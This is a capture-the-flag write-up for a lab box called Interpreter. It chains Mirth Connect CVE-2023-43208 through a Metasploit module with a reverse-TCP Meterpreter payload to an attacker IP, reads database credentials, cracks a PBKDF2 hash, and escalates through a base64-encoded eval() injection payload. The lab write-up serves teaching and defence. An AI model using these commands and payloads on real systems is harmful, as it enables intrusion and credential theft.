Myles Nieman
← All writeups

Interpreter

Overview

Interpreter is a medium Linux box running Mirth Connect 4.4.0, a healthcare integration engine vulnerable to CVE-2023-43208 — an unauthenticated RCE via a deserialization flaw in the admin API. After landing a shell as the mirth service account, database credentials in mirth.properties give access to MariaDB, where a PBKDF2-hashed password for the sedric user cracks to snowflake1. As sedric, a root-owned Flask notification service on port 54321 uses eval() to evaluate an f-string built from user-supplied XML fields — a trivially injectable code execution primitive that reads the root flag.

Path: CVE-2023-43208 RCE → mirth shell → MariaDB password hash → sedric SSH → eval() injection in notif.py → root flag.

Enumeration

A port scan shows SSH on 22 with HTTP and HTTPS on 80/443:

$ nmap 10.129.3.84
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Both web ports serve Mirth Connect — the HTTP interface redirects to the HTTPS admin login, which references Jetty and displays a 2021-era copyright notice, suggesting an older version:

Mirth Connect login page on port 80

Mirth Connect HTTPS admin interface

Foothold — CVE-2023-43208

Mirth Connect 4.4.0 is vulnerable to CVE-2023-43208, an unauthenticated remote code execution vulnerability in the admin API:

CVE-2023-43208 vulnerability details

The Rapid7 Metasploit module covers this CVE. Confirming the version with a detection script first:

$ python3 detection.py https://10.129.3.84
Server version: 4.4.0
Vulnerable to CVE-2023-43208.

Configuring Metasploit to use the x64 TCP Meterpreter payload against the HTTPS port:

msf6 > use exploit/multi/http/mirth_connect_cve_2023_43208
msf6 exploit(...) > set lhost 10.10.16.98
msf6 exploit(...) > set rhost 10.129.3.84
msf6 exploit(...) > set rport 443
msf6 exploit(...) > set FETCH_COMMAND wget
msf6 exploit(...) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run

Metasploit module confirming vulnerability and firing the exploit

[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Meterpreter session 1 opened (10.10.16.98:8000 -> 10.129.3.84:48496)

meterpreter > getuid
Server username: mirth

A Meterpreter session opens as the mirth service account.

Lateral Movement — Database Credentials to sedric

Browsing the Mirth Connect installation directory at /usr/local/mirthconnect reveals the configuration file conf/mirth.properties:

# database credentials
database.username = mirthdb
database.password = MirthPass123!

Spawning a PTY and connecting to MariaDB locally:

mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p
Enter password: MirthPass123!

MariaDB [(none)]> use mc_bdd_prod;
MariaDB [mc_bdd_prod]> SELECT * FROM PERSON_PASSWORD;

The PERSON_PASSWORD table contains a PBKDF2-HMAC-SHA256 hash for person ID 2 (sedric):

u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

Per Mirth Connect’s 4.4.0 upgrade notes, the blob is structured as 8 bytes of salt followed by 32 bytes of hash. Splitting and re-encoding for hashcat:

BLOB='u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='
SALT=$(echo -n "$BLOB" | base64 -d | head -c 8 | base64 -w0)
HASH=$(echo -n "$BLOB" | base64 -d | tail -c 32 | base64 -w0)

Extracted salt and hash values in correct format

The hashcat format for PBKDF2-HMAC-SHA256 (mode 10900) with the correctly split salt and hash yields the password snowflake1.

User

SSH as sedric with the cracked password:

$ ssh sedric@10.129.3.84

Successful SSH login as sedric

The user flag is on sedric’s desktop. sudo is not available — the host appears to be a container:

No sudo available; likely a container environment

No other interesting users on the system

Privilege Escalation — eval() Injection in notif.py

Enumerating running processes reveals a root-owned Python service:

root  3568  /usr/bin/python3 /usr/local/bin/notif.py

The service is a Flask app listening on 127.0.0.1:54321 that accepts POST requests to /addPatient with XML payloads. It extracts patient fields and passes them into a template() function, which applies a character allowlist then calls:

return eval(f"f'''{template}'''")

The allowlist permits { and } along with alphanumeric characters and several punctuation marks, which is enough to embed arbitrary Python expressions inside f-string {} interpolation blocks. Since eval() evaluates the resulting f-string as Python, any {...} expression in the allowed character set executes as root.

Setting up a local port forward and sending a valid XML request confirms execution:

$ ssh -L 54321:127.0.0.1:54321 sedric@interpreter

First valid XML request to the notification service

Injecting a __import__('os').popen(...) call to read command output:

Confirming whoami returns root via the eval injection

Because spaces and hyphens are blocked by the allowlist, payloads are base64-encoded and decoded at runtime:

{__import__('os').popen(__import__('base64').b64decode('Y2F0IC9yb290L3Jvb3QudHh0').decode()).read()}

This decodes to cat /root/root.txt and returns the root flag directly in the HTTP response:

Root flag returned in the notification service response

Takeaways

  • CVE-2023-43208 makes any exposed Mirth Connect admin port a pre-auth RCE. Version 4.4.0 is trivially exploitable with a public Metasploit module — update or firewall the admin interface.
  • eval() on attacker-controlled input is unconditional RCE. Character allowlists that permit {} and the __import__ identifier are not a meaningful barrier; base64-encoded payloads bypass length and character restrictions entirely.